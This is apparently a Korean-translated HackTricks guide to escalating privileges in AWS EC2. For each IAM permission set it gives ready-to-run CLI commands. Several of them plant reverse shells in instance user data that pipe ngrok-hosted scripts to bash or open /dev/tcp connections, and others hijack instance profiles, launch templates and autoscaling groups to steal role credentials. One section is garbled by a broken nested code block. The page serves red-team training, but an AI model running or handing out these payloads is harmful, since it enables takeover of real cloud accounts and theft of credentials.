AWS - EC2 Privesc

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

EC2

EC2에 대한 자세한 정보는 다음을 확인하세요:

pageAWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

iam:PassRole, ec2:RunInstances

공격자는 IAM 역할을 첨부한 인스턴스를 생성한 다음 인스턴스에 액세스하여 메타데이터 엔드포인트에서 IAM 역할 자격 증명을 도용할 수 있습니다.

  • SSH를 통한 액세스

생성된 SSH 키(--key-name)를 사용하여 새 인스턴스를 실행한 다음 해당 인스턴스에 SSH로 접속합니다 (새 키를 만들려면 ec2:CreateKeyPair 권한이 필요할 수 있음).

aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
--security-group-ids <sg-id>
  • 사용자 데이터를 통한 역쉘 액세스

사용자 데이터 (--user-data)를 사용하여 새로운 인스턴스를 실행하고 역쉘을 전송할 수 있습니다. 이 방법으로는 보안 그룹을 지정할 필요가 없습니다.

echo '#!/bin/bash
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh

aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=E<instance-profile-name> \
--count 1 \
--user-data "file:///tmp/rev.sh"

외부에서 IAM 역할의 자격 증명을 사용하는 경우 GuardDuty에 주의하십시오:

pageAWS - GuardDuty Enum

잠재적인 영향: 기존 인스턴스 프로필에 연결된 모든 EC2 역할로의 직접 권한 상승.

ECS로의 권한 상승

이 권한 집합을 사용하면 EC2 인스턴스를 생성하고 ECS 클러스터 내에 등록할 수도 있습니다. 이렇게 하면 ECS 서비스가 액세스할 수 있는 EC2 인스턴스에서 실행되며, 그런 다음 해당 서비스(도커 컨테이너)에 침투하여 연결된 ECS 역할을 탈취할 수 있습니다.

aws ec2 run-instances \
--image-id ami-07fde2ae86109a2af \
--instance-type t2.micro \
--iam-instance-profile <ECS_role> \
--count 1 --key-name pwned \
--user-data "file:///tmp/asd.sh"

# Make sure to use an ECS optimized AMI as it has everything installed for ECS already (amzn2-ami-ecs-hvm-2.0.20210520-x86_64-ebs)
# The EC2 instance profile needs basic ECS access
# The content of the user data is:
#!/bin/bash
echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;

새로운 EC2 인스턴스에서 ECS 서비스를 실행하도록 강제하는 방법을 배우려면 다음을 확인하십시오:

pageAWS - ECS Privesc

새로운 인스턴스를 생성할 수 없지만 ecs:RegisterContainerInstance 권한을 가지고 있다면 클러스터 내에서 인스턴스를 등록하고 주석 처리된 공격을 수행할 수도 있습니다.

잠재적인 영향: 태스크에 연결된 ECS 역할로의 직접적인 권한 상승.

iam:PassRole, iam:AddRoleToInstanceProfile

이전 시나리오와 유사하게, 이러한 권한을 가진 공격자는 침해된 인스턴스의 IAM 역할을 변경하여 새로운 자격 증명을 도용할 수 있습니다. 인스턴스 프로필은 1개의 역할만 가질 수 있으므로, 인스턴스 프로필이 이미 역할을 가지고 있는 경우 (일반적인 경우), **iam:RemoveRoleFromInstanceProfile**도 필요합니다.

# Removing role from instance profile
aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-name <name>

# Add role to instance profile
aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>

인스턴스 프로필에 역할이 있고 공격자가 제거할 수 없는 경우 다른 해결 방법이 있습니다. 공격자는 역할이 없는 인스턴스 프로필을 찾거나 새로 만들 수 있습니다 (iam:CreateInstanceProfile), 그리고 해당 인스턴스 프로필에 역할을 추가한 다음, 침해된 인스턴스에 침해된 인스턴스 프로필을 연결할 수 있습니다:

  • 인스턴스에 인스턴스 프로필이 없는 경우 (ec2:AssociateIamInstanceProfile) *

aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>

잠재적 영향: 다른 EC2 역할로의 직접적인 권한 상승 (AWS EC2 인스턴스를 침해하고 추가 권한 또는 특정 인스턴스 프로필 상태를 소유해야 함).

iam:PassRole(( ec2:AssociateIamInstanceProfile& ec2:DisassociateIamInstanceProfile) || ec2:ReplaceIamInstanceProfileAssociation)

이러한 권한을 가지고 있다면 인스턴스에 연결된 인스턴스 프로필을 변경할 수 있으므로, 이미 공격자가 인스턴스에 액세스 권한을 가지고 있다면 해당 인스턴스와 연결된 인스턴스 프로필을 변경하여 더 많은 인스턴스 프로필 역할의 자격 증명을 도용할 수 있습니다.

  • 인스턴스에 인스턴스 프로필이 있는 경우, 인스턴스 프로필을 제거할 수 있습니다 (ec2:DisassociateIamInstanceProfile) 그리고 연결할 수 있습니다 *

aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
aws ec2 disassociate-iam-instance-profile --association-id <value>
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
  • 또는 침해된 인스턴스인스턴스 프로필교체하십시오 (ec2:ReplaceIamInstanceProfileAssociation). *

```bash
```
# AWS EC2 IAM 인스턴스 프로필 연결 교체

## 명령어 설명
이 명령어는 특정 IAM 인스턴스 프로필과 연결된 EC2 인스턴스의 연결을 교체하는 데 사용됩니다.

## 사용법
```
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<값> --association-id <값>
```

- `--iam-instance-profile Name=<값>`: 교체할 IAM 인스턴스 프로필의 이름을 지정합니다.
- `--association-id <값>`: 교체할 인스턴스 프로필 연결의 ID를 지정합니다.
```
```

잠재적인 영향: 다른 EC2 역할로의 직접적인 권한 상승 (AWS EC2 인스턴스를 침해하고 추가 권한 또는 특정 인스턴스 프로필 상태를 소유해야 함).

ec2:RequestSpotInstances,iam:PassRole

ec2:RequestSpotInstancesiam:PassRole 권한을 가진 공격자는 EC2 역할이 연결된 Spot Instance요청하고 사용자 데이터rev shell을 포함시킬 수 있습니다. 인스턴스가 실행되면, 그는 IAM 역할을 탈취할 수 있습니다.

REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)

aws ec2 request-spot-instances \
--instance-count 1 \
--launch-specification "{\"IamInstanceProfile\":{\"Name\":\"EC2-CloudWatch-Agent-Role\"}, \"InstanceType\": \"t2.micro\", \"UserData\":\"$REV\", \"ImageId\": \"ami-0c1bc246476a5572b\"}"

ec2:ModifyInstanceAttribute

ec2:ModifyInstanceAttribute 권한을 가진 공격자는 인스턴스 속성을 수정할 수 있습니다. 그 중에서도 사용자 데이터를 변경할 수 있으며, 이는 인스턴스에서 임의의 데이터를 실행할 수 있음을 의미합니다. 이를 통해 EC2 인스턴스로 리버스 쉘을 얻을 수 있습니다.

인스턴스의 속성은 인스턴스가 중지된 동안에만 수정할 수 있으므로 ec2:StopInstancesec2:StartInstances 권한이 필요합니다.

TEXT='Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0

--//
Content-Type: text/cloud-config; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="cloud-config.txt"

#cloud-config
cloud_final_modules:
- [scripts-user, always]

--//
Content-Type: text/x-shellscript; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="userdata.txt"

#!/bin/bash
bash -i >& /dev/tcp/2.tcp.ngrok.io/14510 0>&1
--//'
TEXT_PATH="/tmp/text.b64.txt"

printf $TEXT | base64 > "$TEXT_PATH"

aws ec2 stop-instances --instance-ids $INSTANCE_ID

aws ec2 modify-instance-attribute \
--instance-id="$INSTANCE_ID" \
--attribute userData \
--value file://$TEXT_PATH

aws ec2 start-instances --instance-ids $INSTANCE_ID

잠재적 영향: 생성된 인스턴스에 연결된 모든 EC2 IAM 역할로의 직접적인 권한 상승.

ec2:CreateLaunchTemplateVersion,ec2:CreateLaunchTemplate,ec2:ModifyLaunchTemplate

ec2:CreateLaunchTemplateVersion,ec2:CreateLaunchTemplateec2:ModifyLaunchTemplate 권한을 가진 공격자는 사용자 데이터rev 쉘을 포함한 새로운 Launch Template 버전을 생성하고, 기본 버전을 변경하며, 해당 템플릿을 사용하는 모든 Autoscaler 그룹최신 또는 기본 버전을 사용하도록 구성되어 있으므로 해당 템플릿을 사용하여 인스턴스를 다시 실행하고 rev 쉘을 실행할 것입니다.

REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)

aws ec2 create-launch-template-version \
--launch-template-name bad_template \
--launch-template-data "{\"ImageId\": \"ami-0c1bc246476a5572b\", \"InstanceType\": \"t3.micro\", \"IamInstanceProfile\": {\"Name\": \"ecsInstanceRole\"}, \"UserData\": \"$REV\"}"

aws ec2 modify-launch-template \
--launch-template-name bad_template \
--default-version 2

잠재적인 영향: 다른 EC2 역할로의 직접적인 권한 상승.

autoscaling:CreateLaunchConfiguration, autoscaling:CreateAutoScalingGroup, iam:PassRole

autoscaling:CreateLaunchConfiguration,autoscaling:CreateAutoScalingGroup,iam:PassRole 권한을 가진 공격자는 IAM 역할rev shell이 포함된 사용자 데이터를 가진 Launch Configuration생성할 수 있습니다. 그런 다음 해당 구성에서 autoscaling 그룹을 생성하고 rev shell이 IAM 역할을 탈취할 때까지 기다릴 수 있습니다.

aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
--launch-configuration-name bad_config \
--image-id ami-0c1bc246476a5572b \
--instance-type t3.micro \
--iam-instance-profile EC2-CloudWatch-Agent-Role \
--user-data "$REV"

aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
--auto-scaling-group-name bad_auto \
--min-size 1 --max-size 1 \
--launch-configuration-name bad_config \
--desired-capacity 1 \
--vpc-zone-identifier "subnet-e282f9b8"

잠재적 영향: 다른 EC2 역할로의 직접 권한 상승.

!autoscaling

ec2:CreateLaunchTemplateautoscaling:CreateAutoScalingGroup 권한 집합만으로는 IAM 역할로의 권한 상승이 불가능합니다. 왜냐하면 Launch Configuration이나 Launch Template에서 지정된 역할을 첨부하기 위해서는 iam:PassRoleec2:RunInstances 권한이 필요하기 때문입니다 (이는 알려진 권한 상승입니다).

ec2-instance-connect:SendSSHPublicKey

ec2-instance-connect:SendSSHPublicKey 권한을 가진 공격자는 사용자에게 SSH 키를 추가하고 해당 키를 사용하여 액세스하거나 권한을 상승시킬 수 있습니다 (인스턴스에 SSH 액세스 권한이 있는 경우).

aws ec2-instance-connect send-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--instance-os-user "ec2-user" \
--ssh-public-key "file://$PUBK_PATH"

잠재적 영향: 실행 중인 인스턴스에 연결된 EC2 IAM 역할로의 직접적인 권한 상승.

ec2-instance-connect:SendSerialConsoleSSHPublicKey

ec2-instance-connect:SendSerialConsoleSSHPublicKey 권한을 가진 공격자는 시리얼 연결에 SSH 키를 추가할 수 있습니다. 시리얼이 활성화되어 있지 않은 경우, 공격자는 활성화하기 위해 ec2:EnableSerialConsoleAccess 권한이 필요합니다.

시리얼 포트에 연결하기 위해서는 또한 머신 내부의 사용자의 사용자 이름과 비밀번호를 알아야 합니다.

aws ec2 enable-serial-console-access

aws ec2-instance-connect send-serial-console-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--serial-port 0 \
--region "eu-west-1" \
--ssh-public-key "file://$PUBK_PATH"

ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws

이 방법은 사용자 이름과 암호를 알아야만 악용할 수 있으므로 굉장히 유용하지 않습니다.

잠재적 영향: (매우 입증하기 어려움) 실행 중인 인스턴스에 연결된 EC2 IAM 역할로의 직접 권한 상승.

참고 자료

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

最終更新